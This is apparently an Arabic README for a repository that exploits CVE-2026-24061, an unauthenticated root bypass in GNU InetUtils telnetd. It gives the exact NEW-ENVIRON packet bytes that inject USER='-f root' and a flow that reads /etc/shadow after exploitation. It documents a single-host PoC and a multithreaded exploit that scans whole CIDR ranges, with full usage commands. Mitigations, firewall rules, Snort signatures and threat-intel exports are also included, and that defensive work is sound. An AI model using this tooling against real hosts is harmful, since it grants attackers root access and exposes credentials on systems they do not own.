
GNU InetUtils telnetd - وصول جذر عن بُعد غير مصادق عبر حقن متغير NEW-ENVIRON.
GNU InetUtils telnetd - وصول جذر عن بُعد غير مصادق عبر حقن متغير NEW-ENVIRON
نظرة عامة - تحليل تقني - الإصدارات المتأثرة - الاستخدام - المعالجة والتخفيف - المراجع
CVE-2026-24061 هي ثغرة حرجة في تجاوز المصادقة في خدمة telnetd الموزعة كجزء من GNU InetUtils. يكمن الخلل في معالجة خيار Telnet NEW-ENVIRON (RFC 1572) أثناء المصافحة الأولية للبروتوكول.
السبب الجذري هو الفشل في تنقية متغيرات البيئة المقدمة من العميل قبل تمريرها إلى برنامج login(1). عندما يستقبل خادم Telnet حزمة تفاوض فرعي تحتوي على المتغير بقيمة ، فإنه يمرر هذه القيمة غير المنقاة مباشرة إلى ثنائي في النظام.
NEW-ENVIRON ISUSER-f rootloginعلى الأنظمة التي يقبل فيها login علامة -f (فرض تسجيل الدخول دون التحقق من كلمة المرور)، ينتج عن ذلك منح جلسة جذر غير مصادقة للمهاجم عن بُعد.
لهذه الفئة من الثغرات سابقة تاريخية: CVE-2001-0797 في SysV telnetd وثغرة تجاوز -f المعروفة في Linux telnetd عام 1994 استغلتا نفس الفشل الأساسي في تنقية الوسائط المستمدة من البيئة والممررة إلى البرامج المميزة.
لا حاجة لأي بيانات اعتماد. لا حاجة لأي وصول مسبق. تسلسل واحد من حزم الشبكة يحقق صلاحيات الجذر.
يعالج GNU InetUtils telnetd التفاوض الفرعي NEW-ENVIRON (رمز الخيار 0x27، وفقًا لـ RFC 1572) لجمع متغيرات البيئة المقدمة من العميل. يتم تجميع هذه المتغيرات في متجه وسائط وتمريرها إلى execve(2) عند استدعاء login(1).
يتم تشغيل الثغرة على النحو التالي:
IAC DO NEW-ENVIRON، طالبًا متغيرات البيئة من العميل.IAC WILL NEW-ENVIRON.IAC SB NEW-ENVIRON SEND IAC SE.IAC SB NEW-ENVIRON IS
VAR "USER" VALUE "-f root"
IAC SE
telnetd ببناء استدعاء login كـ login -f root.login(1) علامة -f على أنها "فرض تسجيل الدخول، تخطي المصادقة" ويسجل دخول المستخدم المحدد (root) دون طلب كلمة مرور.| الخطوة | الاتجاه | بايتات Telnet (hex) | المعنى |
|---|---|---|---|
| 1 | S -> C | FF FD 27 | IAC DO NEW-ENVIRON |
| 2 | C -> S | FF FB 27 | IAC WILL NEW-ENVIRON |
| 3 | S -> C | FF FA 27 01 FF F0 | IAC SB NEW-ENVIRON SEND IAC SE |
| 4 | C -> S | FF FA 27 00 00 55 53 45 52 01 2D 66 20 72 6F 6F 74 FF F0 | IAC SB NEW-ENVIRON IS VAR "USER" VALUE "-f root" IAC SE |
-f rootيقبل ثنائي login(1) على العديد من أنظمة Linux علامة -f <user> لتسجيلات الدخول "المصادق عليها مسبقًا"، المستخدمة تاريخيًا بواسطة أدوات تعدد المحطات الطرفية وrlogin. عندما يبني telnetd استدعاء exec الخاص به ويفشل في إزالة الشرطات البادئة أو التحقق من السلاسل الشبيهة بالخيارات في قيم متغيرات البيئة، فإنه يمرر عن غير قصد علامات يتحكم فيها المهاجم مباشرة إلى login.
يصبح الاستدعاء الفعلي:
execve("/bin/login", ["login", "-f", "root"], envp);
Attacker Vulnerable telnetd (port 23)
| |
|------- TCP SYN (port 23) ----------------------->|
|<------ TCP SYN-ACK -------------------------------|
|------- TCP ACK ---------------------------------->|
| |
|<------ Telnet banner + IAC DO NEW-ENVIRON --------|
|------- IAC WILL NEW-ENVIRON --------------------->|
|<------ IAC SB NEW-ENVIRON SEND IAC SE ------------|
| |
|------- IAC SB NEW-ENVIRON IS |
| VAR "USER" VALUE "-f root" IAC SE -------->|
| |
| [telnetd calls: login -f root] |
| |
|<------ Root shell prompt (#) ---------------------|
| |
|------- id; whoami; cat /etc/shadow -------------->|
|<------ uid=0(root) root /etc/shadow contents -----|
المتطلبات الأساسية:
telnetd (منفذ TCP/23 مفتوح)inetutilslogin(1) يدعم علامة -f (قياسي في معظم توزيعات Linux)| البرنامج | الإصدارات المتأثرة | الحالة |
|---|---|---|
| GNU InetUtils telnetd | <= 2.x (الإصدار المصحح المحدد سيُعلن لاحقًا) | ضعيف |
| التوزيعات التي تشحن GNU inetutils غير مصحح | متعدد | راجع نشرة البائع |
تحقق مما إذا كانت توزيعتك تشحن إصدارًا مصححًا. العديد من الأنظمة الحديثة لديها Telnet معطل افتراضيًا؛ يتطلب التعرض تشغيل
telnetdبشكل صريح.
| المقياس | القيمة |
|---|---|
| درجة CVSS v3.1 الأساسية | 9.8 (حرجة) |
| متجه الهجوم | شبكة |
| تعقيد الهجوم | منخفض |
| الصلاحيات المطلوبة | لا شيء |
| تفاعل المستخدم | لا شيء |
| النطاق | غير متغير |
| تأثير السرية | عالي |
| تأثير السلامة | عالي |
| تأثير التوفر | عالي |
| سلسلة المتجه | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| معرف ATT&CK | التكتيك | التقنية | الصلة |
|---|---|---|---|
| T1190 | الوصول الأولي | استغلال تطبيق مواجه للعام | استغلال مباشر لـ telnetd عبر الشبكة |
| T1059 | التنفيذ | مترجم الأوامر والبرمجة النصية | تنفيذ الصدفة بعد الاستغلال |
| T1078.004 | تصعيد الصلاحيات / مراوغة الدفاع | حسابات صالحة: حسابات محلية | تجاوز المصادقة ينتج جلسة جذر صالحة |
| T1548 | تصعيد الصلاحيات | إساءة استخدام آلية التحكم في الارتقاء | إساءة استخدام علامة login -f لتجاوز PAM/المصادقة |
| T1046 | الاكتشاف | اكتشاف خدمات الشبكة | مكون المسح الجماعي في الإثبات البرهاني |
المتطلبات: Python 3 (المكتبة القياسية فقط، صفر تبعيات خارجية).
git clone https://github.com/franckferman/CVE_2026_24061.git
cd CVE_2026_24061
لا حاجة لـ pip install. يستخدم كلا السكربتين مكتبة Python القياسية فقط.
poc_cve_2026_24061.py # إثبات برهاني بسيط (~100 سطر) - فهم الثغرة
cve_2026_24061.py # استغلال صناعي - متعدد الخيوط، CIDR، تصدير CSV/JSON
scripts/
generate_signatures.py # توليد تلقائي لقواعد Snort/Suricata + Sigma من الحمولة
generate_misp_event.py # توليد حدث JSON قابل للاستيراد في MISP
generate_stix_bundle.py # توليد حزمة STIX 2.1 (MISP, OpenCTI, TAXII)
signatures/
snort.rules # قواعد كشف Snort/Suricata (مولدة تلقائيًا)
sigma.yml # قاعدة Sigma لنظام SIEM (مولدة تلقائيًا)
indicators/
misp_event.json # حدث MISP - استيراد عبر Events > Add Event > Import
stix_bundle.json # حزمة STIX 2.1 - 11 كائنًا (vuln, indicator, ATT&CK, CoA)
poc_cve_2026_24061.py: الحد الأدنى، قابل للقراءة، تعليمي. هدف واحد، دالة واحدة، صفر تجريد. اقرأ هذا لفهم كيفية عمل الثغرة بالضبط على مستوى البروتوكول.cve_2026_24061.py: استغلال صناعي لمهام اختبار الاختراق. متعدد الخيوط، يدعم نطاقات CIDR، إدخال ملفات، تصدير CSV/JSON، وضع هادئ، مستخدمين مخصصين.استغلال مضيف واحد. الكود بسيط عمدًا بحيث يمكنك قراءته من البداية إلى النهاية وفهم سلسلة الهجوم الكاملة.
# الاستخدام الأساسي
python3 poc_cve_2026_24061.py 192.168.1.100
# منفذ مخصص
python3 poc_cve_2026_24061.py 10.0.0.5 2323
python3 cve_2026_24061.py -t 192.168.1.100
python3 cve_2026_24061.py -t 10.0.0.0/24 -T 50
python3 cve_2026_24061.py -f targets.txt -o results.csv
python3 cve_2026_24061.py -t 10.0.0.0/24 --json results.json
python3 cve_2026_24061.py -t 192.168.1.1 --user admin
python3 cve_2026_24061.py -t 10.0.0.0/24 -q | tee vulnerable.txt
| المعامل | الافتراضي | الوصف |
|---|---|---|
-t / --target | - | IP واحد، اسم مضيف، أو نطاق CIDR |
-f / --file | - | ملف يحتوي على IPs/CIDRs (واحد لكل سطر، تعليقات #) |
-T / --threads | 10 | عدد الخيوط المتزامنة |
-p / --port | 23 | منفذ Telnet الهدف |
--timeout | 5 | مهلة المقبس بالثواني |
--user | root | اسم المستخدم لحمولة -f |
-o / --output | - | تصدير النتائج إلى ملف CSV |
--json | - | تصدير النتائج إلى ملف JSON |
-q / --quiet | off | الوضع الهادئ: طباعة الأهداف الضعيفة فقط (واحد لكل سطر) |
--no-color | off | تعطيل إخراج ألوان ANSI |
| الحالة | المعنى |
|---|---|
[VULN] | المضيف مؤكد الضعف - تم الحصول على صدفة جذر |
[SAFE] | المضيف استجاب لكن المصادقة لم يتم تجاوزها |
[CLOS] | المنفذ مغلق أو تم رفض الاتصال |
[ERR ] | خطأ مقبس أو بروتوكول أثناء المسح |
أعمدة إخراج CSV: ip:port, status, message
ينفذ السكربت آلة الحالة الكاملة لتفاوض Telnet NEW-ENVIRON أصليًا في Python دون الاعتماد على مكتبات Telnet خارجية:
IAC الواردة ويستجيب لـ DO NEW-ENVIRON بـ WILL NEW-ENVIRON.SB NEW-ENVIRON SEND، يرسل الحمولة المحقونة (USER = "-f root").uid=0(root) أو موجه صدفة (#)، في غياب Login incorrect أو Password:.id\n ويتحقق من وجود uid=0(root) في الاستجابة كتأكيد ثانوي.يتم تسجيل النتائج إلى stdout مع تسميات حالة ملونة. التصدير الاختياري CSV يسجل جميع النتائج للمعالجة اللاحقة.
عطّل Telnet تمامًا. ينقل Telnet جميع البيانات كنص واضح. استبدله بـ SSH.
sudo systemctl disable telnet.socket --now
sudo systemctl disable inetd --now
طبق تصحيح البائع. ثبّت الإصدار المصحح من inetutils من توزيعتك بمجرد توفره.
احظر TCP/23 على الحدود. طبق قواعد جدار الحماية لرفض اتصالات Telnet الواردة.
# iptables
sudo iptables -A INPUT -p tcp --dport 23 -j DROP
# nftables
sudo nft add rule inet filter input tcp dport 23 drop
| التحكم | الوصف |
|---|---|
| تقسيم الشبكة | قصر Telnet على شبكات إدارة معزولة إذا تعذر تعطيله |
| تقوية PAM | راجع تكوين PAM؛ عطّل المصادقة المسبقة -f حيث لا تكون مطلوبة بواسطة login.defs |
| توقيعات IDS/IPS | كشف أنماط NEW-ENVIRON IS VAR USER VALUE -f في حركة Telnet |
| تسجيل التدقيق | راقب auth.log / secure بحثًا عن تسجيلات دخول جذر غير متوقعة عبر login |
| فحص الثغرات | نفذ فحوصات مصادقة (OpenVAS, Nessus) لتحديد inetutils غير المصحح |
هيكل قاعدة Snort/Suricata لكشف الاستغلال أثناء النقل:
alert tcp any any -> any 23 (
msg:"CVE-2026-24061 telnetd USER=-f root exploit attempt";
content:"|FF FA 27 00 00|USER|01|-f root|FF F0|";
sid:2026240610; rev:1;
)
يشحن هذا المستودع قطعًا أثرية جاهزة لاستخبارات التهديدات، جاهزة للاستيراد إلى بيئة SOC/CTI الخاصة بك. يتم توليدها تلقائيًا بواسطة CI من حمولة الاستغلال الفعلية - إذا تغيرت الحمولة، تتحدث القطع الأثرية.
استورد indicators/misp_event.json مباشرة إلى أي مثيل MISP:
Events > Add Event > Import from... > JSON
يحتوي الحدث على: معرف CVE، متجه CVSS، توقيع Snort، حمولة hex، علامات MITRE ATT&CK (T1190, T1548, T1059)، CPE، ومراجع خارجية.
استورد indicators/stix_bundle.json إلى OpenCTI أو خوادم TAXII أو أي مستهلك STIX 2.1.
تحتوي الحزمة على 11 كائنًا: ثغرة، مؤشر (نمط شبكة)، 3 أنماط هجوم (MITRE)، مسار عمل (معالجة)، هوية، وعلاقات تربطها.
قواعد مبنية مسبقًا في signatures/:
snort.rules - 3 قواعد Snort/Suricata (محاولة استغلال، حقن عام -f، صدفة جذر بعد الاستغلال)sigma.yml - قاعدة Sigma لربط SIEMإذا قمت بتعديل حمولة الاستغلال، أعد توليد جميع القطع الأثرية:
python3 scripts/generate_signatures.py
python3 scripts/generate_misp_event.py
python3 scripts/generate_stix_bundle.py
-f (سابقة)هذه الأداة مقدمة لأغراض التدقيق الأمني المصرح به والبحث الأكاديمي والتعليم فقط. الاستخدام ضد أنظمة دون إذن كتابي صريح من مالك النظام غير قانوني بموجب قوانين الاحتيال وإساءة استخدام الحاسوب المعمول بها (بما في ذلك على سبيل المثال لا الحصر CFAA وقانون إساءة استخدام الحاسوب والتشريعات المكافئة). لا يتحمل المؤلف أي مسؤولية عن الاستخدام غير المصرح به أو الخبيث.